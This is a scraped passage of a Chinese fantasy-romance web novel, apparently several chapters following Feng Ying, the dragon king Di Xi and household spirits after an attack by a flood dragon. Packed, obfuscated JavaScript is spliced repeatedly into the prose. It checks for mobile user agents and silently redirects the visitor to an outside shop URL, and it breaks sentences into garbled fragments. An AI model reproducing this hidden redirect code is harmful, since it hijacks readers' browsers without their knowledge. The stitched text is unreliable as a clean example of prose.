l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17447749|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大好机会,你干嘛还要把她救上来啊! 大王……你就是坠入爱河了! 我就说嘛,你曾暗恋娘娘那么多年,怎么可能说放下就放下,更何况,别人不清楚,我还能不晓得你对娘娘的感情有多深吗? 千年前要不是天界派娘娘出面**你,你早就还手抵抗了,你是不忍心伤害娘娘,才主动放弃反抗,给娘娘**你的机会…… 自从你晓得娘娘在**你后,杀了你那个窝囊爹心机哥,然后自己也莫名其妙陨落了,你就再也舍不得怪娘娘了。 你总往黄河龙宫跑,不就是为了弄清当年娘娘到底是**的吗? 我都瞧出来了,你开始怀疑娘娘当年**你是另有隐情了!” “你说得没错,本王是怀疑风萦当年**本王……另有目的。 所以在真相没有查明白前,风萦的命是本王的。” “大王啊,你没救了……” “本王看见她被封在箱子里时,脑子里只有一个念头,就是救她。 本王……或许从头到尾,都没有真正拥有过杀了她的勇气。 千年前,她的目光从未认真停留在本王身上半刻。 千年后,她每次凝眸看本王,本王都会克制不住的,想离她更近些。 她现在成了本王的妻子,是她、欠本王的。 本王与她的缘分不会太长,待查明一切,本王自会离开她。” “嗯……我不信!我倒觉得,大王和娘娘绝配,我想大王和娘娘永远在一起!” “银雀,你到底是什么意思?前几日怂恿本王杀风萦,如今又说本王与她、绝配。” “我没啥意思啊,大王你啥意思,我就是啥意思。 虽然我没救到娘娘,但是我把娘娘脱落的龙鳞捡回来了! 大王你等会还能给她安回去。 黑蛟那狗玩意太阴了,竟然泼娘娘化鳞水,好在娘娘有先见之明,把那片仙鳞交给了大王。 娘娘现在脱落的鳞是普通鳞片,对风柔一点用都没有。 死黑蛟,大王你要给娘娘报仇啊!” “黑蛟的账,本王自然要同他算。” “那个啥,大王……我赶过来的时候无意看见……” “看见什么了?” “我说了你可能会上火……” “说!” “黑蛟捡走了娘娘一片鳞,还变态地亲了一口……那蛟准对娘娘有非分之想!” “……那就让他死!” “大王……有没有可能,千年前,你不是单相思……” “什么?” “没什么!我、鳞片给我,我们赶紧回去给娘娘安上,不然她醒了还疼!” 这一晚,我梦见了村里的镇水楼。 只是我的视角,好像有点高…… 许久,我才意识到,自己此刻附身在镇水楼内那尊高十来米的水神娘娘石像上。 水神娘娘穿着一件古代广袖束腰长裙,腰佩璎珞,衣上龙凤齐飞。 青丝高挽,发间簪蔷薇,垂珠玉流苏。 裙下蛇尾蜿蜒数米长,缠绕在攀满水纹的石柱上。 娘娘垂眸,端庄慈悲地俯瞰苍生。 片刻,楼内有微风穿入,吹晃一楼烛火。 下一瞬,一道紫光飞入,落地凝成一袭墨紫龙袍的俊美男神仙。 男神仙昂头深深看了眼楼内神像,少时,拂袖催开神像前供奉的两瓶春日桃花…… 我见状没忍住轻扬唇角:“傻瓜。” 余音穿梭千年,回到今夕…… 守在我床边的男人握着我的手,沉沉道: “风萦,千年前,你可曾察觉到过,本王……心悦你。” 第76章 你还想打掉本王的孩子? 清晨,我陡然从自己房间的大床上惊醒过来。 前一晚在水里发生的一幕幕还犹现眼前…… 帝曦回来了。 我和他还、干了那事?! 他昨晚总说,不许咬他…… 原来是那个意思! 而且我记得,他刚开始的确堪称君子风范,手不乱动。 可到了后来,他就愈发失控…… 我浑身上下都被他摸了个遍! 想推开他,反引来他更猛烈的攻势…… 刚开始那会子我后背还痛得厉害,可没多久,痛感就被脑颅内不断翻涌的极致欢喜给强压了下去。 我也是现在才发觉,杨大哥说双修对我与他双方都好,竟是真的。 唯一让我有些遭不住的,是他、精力过于旺盛。 昨晚那么多次,真不会怀孕吗! 但我、现在照顾自己都费劲,万一有宝宝了,我怎么照顾得过来啊…… 我坐在床上胡思乱想不过五分钟,一袭墨紫古袍的帝曦就推门缓步迈了进来。 “大清早心情便如此浮躁,身上还疼?”他淡淡问。 我脑子很乱地张嘴就答: “身上不疼心里疼,昨晚你折腾了那么多次,万一有宝宝了怎么办。 我没有带娃的经验,你也没有要娃的打算,要是意外有了是留还是……” 话一顿,我倏然意识到自己好像把心里话脱口而出和他直说了! 心虚地慌张捂嘴,昂头看他脸色……我应该,矜持点、委婉点的。 他听完果然俊脸一红,尴尬地偏过头,停步在我床前半米距离处。 沉默十来秒,才闷咳一声,努力掩饰心下慌乱,平静启唇: “本王、是为了给你疗伤。这种事,你无需操心,不会有孩子的…… 本王、昨晚在你身上施了法,将那些、化作滋养你身体的精元了。 本王同你那样,是想让你好受些,别再闹腾,不是想与你、生儿育女。 更何况,现在考虑这些太早了,你的九片龙鳞还没有找回来,孕育宝宝只会给你的虚弱身子增添负担。 孩子迟早会有,眼下最重要的是养好你自己的神魂。” 孩子、迟早会有…… 他、还真想和我有孩子啊? 我愣在床上,脑浆乱成一团浆糊。 不过,他说完没过几秒,又忽地情绪激动,一步迈到我身边,捉住我的手腕生气质问: “风萦,听你刚才的意思,要是意外有了,你还想把孩子打了不成?!” 我啊了声,慢半拍反应过来,心虚缩脑袋: “不是你之前说的,你还没有要孩子的打算吗,我又不会照顾娃,我、也没做好当母亲的准备。 还有,你前几天还和我说,你不会陪我一辈子……我们现在的婚姻情况,不适合要孩子。 毕竟,我不想我的孩子一生下来就没有爹。 你是龙王,我和你生的孩子有一半可能也是龙,要是人,我还能把孩子藏在家里养着,尽力让孩子过上普通人的生活,收获普通人的快乐。 如果是龙,就算我能藏得住他一时,也藏不住他一世,我只是个人啊,我没有能力保护一个龙宝宝。 在我没有强大到能为一个异于常人的龙宝宝兜底,抵挡得住一切风雨前,我不能生下他,不然他就会重走我前二十年的老路。 我太清楚没有爸妈护着的孩子有多苦,被人当做摇钱树压榨剥削的滋味有多痛了……” 回忆起我过往那二十年所遭遇的种种不幸,我只觉得酸涩压抑到窒息。 况且在当今社会大环境下,一个父亲还活着的离异单亲家庭孩子在学校,会比**父亲的单亲家庭孩子还招人欺负。 父亲**,别人只会觉得她可怜、惨。 父亲还活着,但与母亲离异,别人会觉得这个孩子可笑、活该。 就连在村里长辈的面前都抬不起头。 有些苦,我吃过,绝不会再让我的孩子也步我后尘。 他听罢,紫眸深处的怒意散开几分,在我床边坐下,安静半分钟,主动握住我的手,冷着脸没好气道: “打胎伤身,本王也不是那种没良心只顾自己自在,却让夫人承受剥胎之苦的男人。你不用多想,即便有了……” 他心率失常地哽了哽,俊脸微红的偏头不看我,压低声:“生下来,本王养。” 生下来、他养? 我怔了几秒,心尖一颤,瘪嘴委屈地带着哭腔道: “怎么着,你只要孩子,不要孩子他妈啊? 你还不算没良心啊,孩子是我生的,生完你带走,然后你无痛当爹,把我甩了! 那我下半辈子岂不是从离异,变成了离异还没个孩子? 那万一,我生了,和宝宝处出感情了,你把宝宝带走了,我想宝宝了怎么办? 再说,你带个娃也不好二婚啊……给你生孩子,怎么算都是我吃亏!” “本王什么时候说不要孩子他妈……” 他欲言又止,无可奈何地看了我一眼,无情抬手推了下我脑门子: “赶紧起床!再赖床下去,指不定要如何编排本王。 胡玉衡他们还在外面提心吊胆地等着你,你那个表妹哭得本王耳朵都起茧子了! 你快去让她收一收神通,本王现在听见她喊姐夫就头疼!” 我不服气地哼哼唧唧着爬下床,去衣柜里翻了件干净裙子。 对着衣柜上的半身镜比了比,却猛地发现……我身上穿的是睡衣,不是昨天的衣服! 是了,昨天那身衣服好像被他丢黄河里了。 那我身上的睡衣,是他帮我穿的?! 想到这,我老脸一烫,忙将视线从半身镜上收回来。 拿着衣服等了许久,也不见他起身离开房间…… 我耳根泛红的忍不住小声暗示:“那个,帝曦,我要换衣服……” 他没心没肺地淡定闷咳: “你身上什么地方、本王没见过。连你现在这身衣物,都是本王帮你换的…… 在本王面前,有何可不好意思的。” 不过说归说,他终究还是起身往房门口走了去。 我面红耳赤地抓着裙子护在心口,虽然他说的是实话吧,但、就算我们肌肤相亲过,我也不好意思总在他眼前一丝不挂……多羞人啊! 他说得倒是轻松,还有何不好意思…… 要换衣服的人不是他,是他的话,估摸早就把我撵出房间了。 可,他这句话倒是勾起了我内心深处一个缺德小想法。 我故意卡着他准备开门迈出去那一秒朝他背影喊道:“帝曦!你腰上的那颗红痣,真性感!” 他身影一僵,下一秒仓皇快步逃离…… 临走还一挥广袖帮我关紧了房门。 我见他终于在我手上吃了回瘪,心情大好地脱下睡衣换上长裙。 真可惜,没有看见帝曦害羞的正脸。 只是这样玩风险着实有点高,希望等会儿我出去了帝曦不要找我算账。 穿好衣服,我披散着长发出去找流苏。 流苏年纪小,还是个小孩子心性,我有个什么事她的第一反应就是哭。 也不知道这一夜她又哭了多久,我出堂屋那会子流苏正蹲在院子里一边用树枝在地上画我看不懂的符文,一边抹着眼泪自言自语: “杀了,把他们都杀了!咒你吃东西磕掉牙,上厕所掉粪池,走河边被鱼咬,吸口气得禽流感! 死蛟,烂蛟,我要让姐夫打死你,打烂你!” 我放轻脚步走到她身侧,陪她一起蹲下,好笑道:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17447750|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“你如果不掉眼泪说这些话,气势立马飙升一大截!吓也能把风柔他们吓死!” 蹲在地上的流苏一惊,听见我的声音,扭头就哭着朝我激动扑过来,一把抱住我的脖子放声哭嚎: “二姐,你撑过来了!还得是姐夫啊,姐夫说你今天一早就会醒,你就真醒了! 二姐,你不该替我挡那一下的,那东西泼在我身上没用,泼在你身上,你会活活疼死的。 风柔和那条蛟实在太坏了!好想剁了他们啊!” 我抬手拍拍流苏后背,笑着哄她: “傻瓜,风柔给赵家老两口的那瓶药水本来就是为了对付我的,只是老赵家那两个老家伙可能误以为瓶子里是什么很厉害的符水,就没听风柔的话。 想着得不到你便毁了你,这才转头往你身上泼。 我又给你挡了下,于是那药水才阴差阳错泼回了我身上。 这都是命啊,你看,人要是倒霉该遭什么劫,躲都躲不过去!” 流苏害怕地抽泣两声: “昨晚,那条鱼突然在屋里喊二姐不见了,我们这才想起来昨天是十五。 我想去找二姐,那条鱼不让,他说我去了也只会添麻烦,让我和玉衡哥哥他们一起在家等着,他自个儿去外面找二姐。 我们等了将近半个小时,那条鱼就跑回来报信了,说姐夫回来了,二姐暂时没有危险和姐夫在一起,姐夫有办法治二姐的伤…… 幸好姐夫及时赶回来了,不然二姐你要是有个好歹,我这辈子都不会原谅自己! 二姐,是我太废物了,在你最需要我的时候,我却在家里睡大觉!” 我摸了把小姑娘的脑袋,实话实说地安慰: “我的鳞伤每个月都会发作一次,就连胡玉衡都帮不了我,更何况你一个普通人类了。 而且我昨晚是自己主动跑出去的,就是不想吵醒你们,我有经验。 只是昨天在老张家被泼了化鳞水,所以事态才稍稍有点失控。 经过这几次的事,你还没有看明白吗,我们人在这些仙家跟前,是没有任何反抗之力的。 以前我和江墨川还没有撕破脸的时候,他顶多在背地里用法术戏弄我给风柔出气,可他彻底不演了后,哪次光明正大对我用法术,不是把我往死里整。 黄河鱼怪上岸那天,他把我绑在树上当血包,我根本没有自救的能力,还是帝曦现身打**鱼怪,救下了我。 这回也是,江墨川把我装木箱子里沉进黄河,是帝曦炸开木箱,救下了我,还给我治伤。 人在面对这些有外挂的仙家妖物时,就是待宰的羔羊。 就算你当时在我身边,也是救不了我的。 如果没有帝曦,我可能在二月初五黄河收玉女那天就已经**。 所以苏苏,你不要总想着保护我,我这种情况,你保护不了我。 与其在这哭着自责,苏苏,我更想看见你为了自保,或保护身边的人,慢慢变强大。” 握住她的手,我耐心引导: “苏苏,你愿意为了保护我,强大起来吗? 你在画符方面很有天赋,阿乞师叔前些天随手画下的符你看一眼就记住了。 你有阴阳眼,胡玉衡也说你天赋异禀,上天赐给你看破阴阳的能力,你得学会发挥它的作用。 你姐姐我是个什么都不懂的小废物,幸好这些事都是发生在我身上,如果哪天你也要经历这些劫难,我同样也没办法为你做些什么的…… 为了自保,为了让我安心,苏苏,我让胡玉衡教你道术好不好?他是狐仙,懂得怎么修炼。” 流苏想了下,憋住哭声抹去眼泪,朝我乖乖点头: “好,我愿意跟玉衡哥哥修炼,等我变强大起来,我保护二姐!” 第77章 摇铃铛,他就会出现 “这才乖。”我疼惜地拍拍她小脑袋。 胡玉衡从厨房里端了盘葡萄出来哄流苏,果盘送到流苏手边,歉意瞧了我一眼, “小萦,昨晚是我们不好,一时忘记了你每月十五会发作,受苦了。” 剩下几位仙家也都相继现身,愧疚的一句接一句道: “我们只顾着自己修炼,忘记了你会被鳞伤折磨那么大一件事,我们真是太浑蛋了!” “每到月圆之夜,我们的灵魂就会被月光强大的灵泽困住,会不自觉地陷入沉睡…… 早知后面会酿成大错,我们昨晚就不该闭眼。” “小萦啊,你还好吗?身上还疼吗?脱落的鳞片都融回身体了吗?” “乖宝啊,都怪我们这几个老家伙没照顾好你……”**仙眼泪一把鼻涕一把的说着,还想把眼泪抹我身上。 我嫌弃地赶紧站起身,离他们远点,免得他们弄脏我的干净衣服: “我没事啊,我是和帝曦一起回来的,有事也被他摆平了。 再说我昨晚本来就没打算惊动你们,我清楚你们帮不上我,我不想因为自己的事害一大家子一起焦虑。” 黄仙今天没化人形,顶着张原皮跳上旁边的桌子: “小萦心善,她自己能扛过去的事从不愿麻烦我们,我们现在说这些后悔台词毫无意义。 就像小萦说的,即便我们昨晚想起来小萦鳞伤会复发,小萦发作的时候我们也帮不上什么忙,我们的法力对龙鳞是没有用的。 我们太菜了,顶多跟着苏苏一起围着小萦束手无策干掉眼泪。 事情既然已经发生了,我们就不要再去纠结旁的了,下次再到十五,我们多留点心,尽量为小萦做些什么。 小萦没怪我们不仗义,反而还一门心思为我们着想,我们应该做的是铭记小萦的一片真心真情。 这辈子能遇见小萦这个主人,是我们的造化。” 还是黄仙深得我心! 我怎么可能会在明知他们救不了我的情况下,还怪他们不管我,疏忽我呢。 而且,我之前听江墨川说过十五的月圆灵气对这些已经殒命的仙家有多重要。 我们是一个集体,不能因个人特殊情况损害集体利益。 我可是打小就很有集体荣誉感! “你不怪我们,就好……” 胡玉衡松口气庆幸道: “好在还有个不受约束的龙尊大人,不然我们都要眼睁睁看着你受罪。” 苏苏晃了晃我的胳膊帮仙家们说话: “二姐,玉衡哥哥他们昨晚都快急**,柳云衣哥哥稍微能走得远些,往黄河边跑了好几趟。 玉衡哥哥他们在门口站了一夜,直到姐夫把你抱回来,大家悬着的那颗心才放下。” 我抿了抿唇心领了他们的好意,把苏苏推给胡玉衡: “真想补偿我,就帮我教好苏苏。我皮糙肉厚的受点伤不碍事,苏苏从小就怕疼,你得教她点自保的本事。” 流苏听完我的话,嘴一瘪,感动的眼泪又在眼眶里疯狂打转,“二姐……” 胡玉衡抬手很自然地抱住苏苏,颔首答应:“好,你放心,我会好好教她本事。” 说完话,等仙家们都散去后,柳云响才突然冒出来。 从后抱住我的脖子,不好意思道: “事情都赶到一块去了,我不晓得你月圆之夜会出事。 昨晚柳云衣进牌位修炼,我闲得无聊还去田里溜了一圈,回来就听说你出事了。 萦儿,姐对不起你,是姐一时大意了。” 我抓住柳云响的指尖好笑道:“云响姐,你愧疚什么啊,你又不欠我的。” 柳云响屈指敲了下我的脑门: “我不欠你的,但是我住在你家,我喜欢你啊! 从你帮兰茹产下朵朵那一刻,你就是我亲妹子。 而且别以为我看不出来,这几天我能在家里过得这么舒坦,你没少在大王面前给我说好话。 大王前天还亲自出手帮我疗伤了,他告诉我,你夸我有情有义,是条好蛇。 妹子啊,我对你而言只是个刚认识不久的蛇妖,你干嘛要对我这么好?” “实话实说,就是对你好吗?” 我毫不吝啬地认真夸赞她: “你本来就很有情有义啊,可比当今社会三分之二的人类都仗义! 世间有多少人能做到真正为朋友赴汤蹈火,为求一份公平不计代价地对她人倾力相助呢! 单你把身体借给兰茹嫂子孕育朵朵这一点,我就很敬佩你! 柳云衣说得没错,你长得又漂亮心肠又好,法力高深天赋极强,是真正的女中豪杰!” 她怔了下,意外问我: “柳云衣,是这么和你介绍我的?我不信,肯定是你编的! 只有你和小苏苏才会夸我漂亮心肠好,觉得我天赋强法力高是优点,柳云衣……他恰恰相反,最讨厌这样的我。 我现在是没本事飞升,仍为妖身,他才愿意亲近我,要是我争口气,在与他重逢之前就成了蛇仙,他估摸现在就不会这样费尽心思地讨好我了! 我比他强,一直是他心中的一道疤来着。 不过,我倒是希望自己上次飞升没有失败,再见面以蛇仙的身份面对他…… 这样我就能敞开了暴揍他一顿,他还不敢反抗! 狗玩意,当年把我伤得那么深,真以为帮我疗几次伤,买几回好吃的讨好我我就能不计前嫌地与他和好如初了? 这五百年来,我每次想起他,都恨不得抽他的筋,剥他的皮!再把他切成一段一段的煲蛇羹! 他大爷的,他跑了,我还得每年替他祭拜他爹娘,死柳云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452092|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣,等我恢复法力,我一定把他按他爹娘牌位前狠狠揍一顿!” 我努力憋笑,点头赞同:“云响姐你就这么干!他的确很欠揍,早就该有个人收拾他了。” 柳云响气鼓鼓地哼了声,一手掐腰疑惑问我:“对了,你家狐仙和小苏苏他俩是不是有情况啊?” 我摇头:“我也在试图寻找答案!” 柳云响摸了摸下巴,八卦道: “老狐狸未免太照顾这个小徒弟了,昨天流苏受惊,老狐狸可是陪了流苏一下午。 而且,这几天老狐狸给流苏辅导功课,他俩时不时就眼神碰撞,然后愣住。 还有啊,小苏苏这丫头可会厚此薄彼了,每天早上给大家擦拭牌位上的灰尘,别的牌位都是随便用抹布擦擦,只有老狐狸的牌位,小流苏擦得可用心了。 还怕擦坏了老狐狸的牌位,特意换了张软和点的毛巾擦。 妹子,你说你家小苏苏要是看上了老狐狸可咋办!” 我郑重其事地考虑了一会,说:“如果苏苏真看上胡玉衡了,我就得快点找给胡玉衡重塑肉身的法子。” 柳云响没料到我会是这个答案,惊道: “老狐狸可是狐仙!小苏苏是人!动物仙在人类的认知里,就是难登大雅之堂。 你们人不是最忌讳这种恋情吗?” 我耸耸肩说: “我老公还是条龙呢!只要是真心相爱,管他是狐狸是龙还是什么玩意,什么仙都不是问题!” 柳云响胳膊搭我肩上,叹口气: “还是你开明。妹子,你和你老公、我们大王,是怎么在一起的? 讲给我听听呗,我最喜欢听故事了,我娘生前每晚都会给我讲故事……” 我被柳云响缠得没法子,只好给她从头到尾讲了遍我和帝曦相遇的全过程。 从上午讲到中午做饭。 我做完一桌热菜,她也心满意足的听完收工去找柳云衣切磋法力了…… 柳云响本来就看柳云衣不爽,听完她家大王的善举后,直接从厨房抽了把菜刀出去。 说是想知道为什么同为开盲盒,她却开了个绝世大渣男。 其实我是不赞同柳云响给柳云衣定义为什么绝世大渣男的,毕竟论渣,他在江墨川跟前,只是个弟弟。 饭菜做好,我想喊帝曦过来尝尝,但他好像进牌位休息了,我一上午都没见到他。 连那条小银鱼也没出来冒泡。 我本来想喊外面被追杀的柳云衣叫一叫帝曦的,但,忽然想起昨夜他说……可以摇铃铛。 什么时候想摇,都能摇。 我一摇铃铛,他就会出现…… 掏出口袋里的紫水晶扇贝吊坠,我试着小心翼翼晃两下。 铃声响起的那一刹,身后也袭来一股熟悉的凉意。 像三月黄河水的温度。 第78章 江墨川鱼塘里的鱼真多! 清浅的花香出现在空气中,男人平静唤我:“风萦。” 我惊讶转身,才发现他已悄然出现在了厨房里。 “帝曦,快来帮我尝尝今天的新菜,山楂炖排骨。” 我拉上他的手把他拽到小桌子前,递了双筷子给他。 他扫了眼今天中午的饭菜,温声说:“又有新菜,你从前跟名厨学过?” 我拉着他在桌边坐下: “没有啊,现在是科技改变生活的时代,不需要什么名厨亲授,想学什么菜品上网搜教程就能自己做。 只是网上的教程有很多看起来挺完整,实际上却会刻意隐藏重要步骤,所以完全按教程做的菜总会缺少那么一丝丝灵魂。 这一丝灵魂就需要做菜的人自己研究补上,因此,我做的菜,可能和别人做的都不一样。 我也不知道别人吃着感觉如何,你是我的御用品鉴大师,新菜做完还是得让你先尝尝我才放心。” 他被我一句好话哄得心情舒畅,夹了块排骨,矜贵的细嚼慢咽。 尝完,放下筷子发表看法:“还不错,咸淡适中,肉质松软,酸甜可口。你打算以后做厨子?” 我摇头:“我不想干伺候人的活,不当厨子,如果可以的话,我想做个泥塑师。” “玩泥巴?”他轻描淡写地扎我心,我尴尬道:“虽然有点土,但这是我的爱好。” 他挑眉: “你捏泥塑的确比做菜的手艺还好,何况你捏的泥人能渡阴魂往生,是积阴德的善行。 不用在意别人的眼光,本王并不觉得做泥塑的工作土,既是你的兴趣爱好,你大可随心去做。 你在自己家,还不能干点自己喜欢干的事么?” 我的心跳倏然漏了一拍,愣愣偷看他,轻声问:“你不嫌我玩泥巴幼稚,脏吗?” 他不明所以的昂头看我,与我四目相对,沉默片刻打趣道:“你若是玩牛粪,本王真会嫌你脏。” 我呛住,忙讪笑解释道:“呵呵,我口味可没那么重。” 他夹了块排骨,放在自己没用的干净碗中,推给我:“你尝了么?今日这排骨炖得不错,只是柳云衣他们可能不大喜欢酸甜口的。” 我小声咕哝: “我本来就不是按照他们的口味做的啊! 我做菜的时候特意少放了糖,我知道你不喜欢太甜,我猜酸甜口你可能更容易接受些。 他们喜欢吃的,以后有空再给他们做,我只需要照顾你和苏苏的喜好就行。” 他拿筷子的手顿住,没再说话。 我找了双干净筷子继续夹别的菜给他品鉴: “再尝尝这几盘小炒,辣点的蘑菇,还有蒜薹肉丝,蒜薹是苏苏从村长家薅的。 我准备过几天再种点辣椒茄子还有豆角,这样夏天的菜就有着落了。” 他把碗给了我,我没地方放菜,只能趁他不注意直接把菜喂进了他嘴里。 他愣了几秒,紧接着就心跳加快,跳得连我都有点喘不过气了。 “帝曦,你怎么了?干嘛心跳得这么快?”我担心问他。 他眼神躲闪的别过头:“蘑菇,有点辣。” 随后起身就往外大步流星迈去:“本王、去喊流苏吃饭!” “啊?”我其实想说不用喊的,流苏这小丫头鼻子灵着呢,只要被她闻见米饭锅盖被掀开的香气,她自己就会捧着小碗跑过来上桌吃饭。 但帝曦跑得太快了,我根本叫不住。 而且更怪的是,他出去后,好像心率更乱了。 我想不通的也夹了块蘑菇塞进嘴里:“有这么辣吗?” 龙不能吃辣? 可我尝着,也不是很辣啊! 难道是每个人的味觉灵敏度不同,他的味觉对甜辣的感知力比较灵敏,所以我尝着适中的辣度对他来说,却能辣到让他心跳加速扛不住? 看来以后做饭,还是得口味再清淡点才行。 为了预防这盘辣蘑菇将他辣出个好歹,等开饭时我特意把蘑菇放得离他远点,只给他夹别的正常口味菜。 但千防万防没防住流苏爱吃蘑菇,我怕流苏饭吃得太快会噎住,出门给她倒杯水的功夫,回来就见她把那盘蘑菇推到帝曦面前疯狂安利。 “姐夫你尝尝啊,实在太好吃了,蘑菇简直是家常菜的神!我二姐做辣菜很有一手,别吃那些酸的咸的了,尝尝辣!” 我来不及阻拦,只见帝曦已经很给流苏面子地夹了片蘑菇送进口中,优雅品尝了:“嗯,你二姐的手艺向来不错。” 这一次,我却没有再感受到那股心跳加快的异常。 他,又能吃辣了? 午饭后,我像往常一样准备收拾院子刷碗,谁知喂完鸡再回来,厨房的碗筷已经被人清洗好了。 我原以为是苏苏收拾的,但苏苏告诉我,是他姐夫用法术嗖嗖两下就把一切都给解决了。 哎,有法力就是方便! 省下来的时间又可以偷懒了。 奈何我躺在桃树下的摇椅上刚过了半小时的惬意生活,就被帝曦给一把薅了起来。 “陪本王出去一趟。” 我被太阳晒软了身子骨,有点不想动:“去哪?” 他道: “昨日银雀收集你脱落的鳞片,本王为你重新将鳞片修补回去时,发现少了一枚。 银雀说,少的那枚是**墨川给捡走了。本王现在有空,带你去把那片鳞要回来!” “少了一片鳞**墨川带走了?” 我顿时就来了精神,十分不爽道: “我昨天脱落的那些鳞片对风柔又没有用! 我身上只有那九片被剥落的鳞才有灵力,才能帮人如愿以偿,要是我身上其他鳞有用的话,我现在还被关在风大年家里呢! 他拿我昨天掉的鳞做什么?” 帝曦回首深深瞧了我一眼,拧眉道: “先不管他拿走你的一片鳞究竟是何目的,你还想不想要你的鳞了? 若是不想,本王便不多此一举,多管你的闲事了!” 我听见这话赶忙一把抓紧他的手,连连点头道: “想要!我当然想拿回我的鳞了,就算我的那片鳞对江墨川没用,我也不想让我的东西落在他手里… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452093|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …我嫌恶心!” 他牵上我,眉心舒展:“那还不快过去要?还是说,你觉得你自己能把鳞要回来,用不上本王?” “去去去!” 我立马积极性暴涨,拽着他就快步出门往外去,边走还边咬牙切齿地善意提醒: “等会儿见到江墨川,帝曦你千万不要看在我的面子上对他手下留一丁点情! 他皮厚骨头硬,你随便打,尽管放心敞开了办,打**算我的!” 帝曦无奈跟上我的步伐,任我拽着他的手把他往大伯家带。 但在我准备仗势欺人一把,在风大年门口挺直腰杆猛拍他家院门时,帝曦又突然提醒道: “江墨川不在风大年家。” 我刚举起的手僵在半空,不甘道: “不会吧,不在家?他命那么好吗!我好不容易找到靠山来和他算账,竟然让他阴差阳错逃过一劫?” 帝曦平静道:“他逃不了的,黄河附近方圆百里皆是本王的地盘,只要他还在槐荫村,便逃不出本王的掌心。” 说完,帝曦牵紧我的手,拂袖一挥,瞬间就将我带离了风大年家门外。 再睁眼,我抓着帝曦的胳膊惊讶朝前望去,才发现我们此时站在黄河边上的一块高坡上。 而高坡下的黄河河滩边,则站着一道令我再熟悉不过的墨色身影。 是恢复蛟仙本相的江墨川。 此刻的他手里拿着一枚精致的桃花簪子,正前方的虚空中,一缕黑烟萦绕在一枚绯色鳞片周围,妖术将龙鳞悬在半空,黑烟把龙鳞卷的忽上忽下。 那是,我的鳞片! 我冲动的想去抢,却被帝曦及时拉住,按回怀里。 帝曦用眼神暗示我先别打草惊蛇,抱着我站在高处盯了江墨川的背影良久,江墨川那家伙才终于有了点反应。 桃花簪子被法力送离了他的指尖,飞出去的下一秒,竟在浊浪滚滚的黄河边化成了一个穿着淡紫色长裙,长发及腰的年轻女孩。 江墨川再从容施法,令那女孩乖乖走近他两步,凑到他跟前。 掌中收了妖术,江墨川抬袖,像怜惜一只宠物猫般,轻轻用指背摩挲女孩的脸颊,放轻声低喃: “本尊知道你怪本尊,可本尊欠了柔儿的恩情,本尊只能用这种方式,还她当年的庇护之恩。 你何时才能懂事些,本尊……没想伤害你。” 我如今站的位置正好**墨川的背影挡了视角,以至于我踮脚歪头试了好几个方法都没能瞧见那女孩的正脸。 “罢了,或许柔儿说得对,你只是生来脾气倔,不磨磨你的性子,日后你我在一起了,也会多添矛盾。” 日后在一起? 他还想和谁在一起? 死江墨川鱼塘里的鱼这么多吗! 我想挪一挪位置换个角度看清那女孩的庐山真面目来着,谁知脚刚伸出去,就被帝曦搂腰收了回去。 帝曦脸色不大好地将薄唇附在我耳边沉声吓唬: “你还想不想看热闹了?乱跑被蛟妖察觉到你的气息,你不怕他恼羞成怒把你灭口了?” 第79章 你就该跟着本尊,哪里都不许去! 我当即乖乖缩回他怀里,捂住口鼻可怜巴巴望着他,用眼神告诉他我知错了。 河滩上的江墨川单手揽过女孩后脑勺,将女孩脑袋按在肩上,情绪低落地自顾自道: “这支簪子,本尊两年前就想送给你,可本尊又怕你会恃宠而骄,仗着本尊的喜欢,更加肆无忌惮地欺负柔儿……” “你若能与柔儿和睦相处……本尊也不至于,对你如此苛刻。” 也不晓得哪个倒霉蛋又**墨川看了上…… 啧啧,还恃宠而骄,遇上风柔,绝世大美女来了都得被她的茶艺押着磕俩响头! 不过,这女孩身上的紫色长裙…… 为什么有点眼熟。 我下意识低头看了看自己身上这件…… 一模一样! 江墨川还喜欢收集周边啊? 谁是正主啊! 都怪帝曦,都不让我看看正主的脸…… 帝曦揽在我腰上的手臂收了几分力,垂下极具神性的幽紫眸子,不解问我:“看他和别的女人卿卿我我,你就这么激动?” 我很谨慎地小声回答他:“一想到我不是最蠢的那个,我就开心!” 帝曦:“……” 片刻,不远处的江墨川继续施法,将悬在半空的那枚绯色龙鳞收进掌心。 用法术在龙鳞上穿了条绳子,随后将龙鳞挂在胸口,贴身佩戴…… 我看到这一幕整个人都已经陷入了麻木状态。 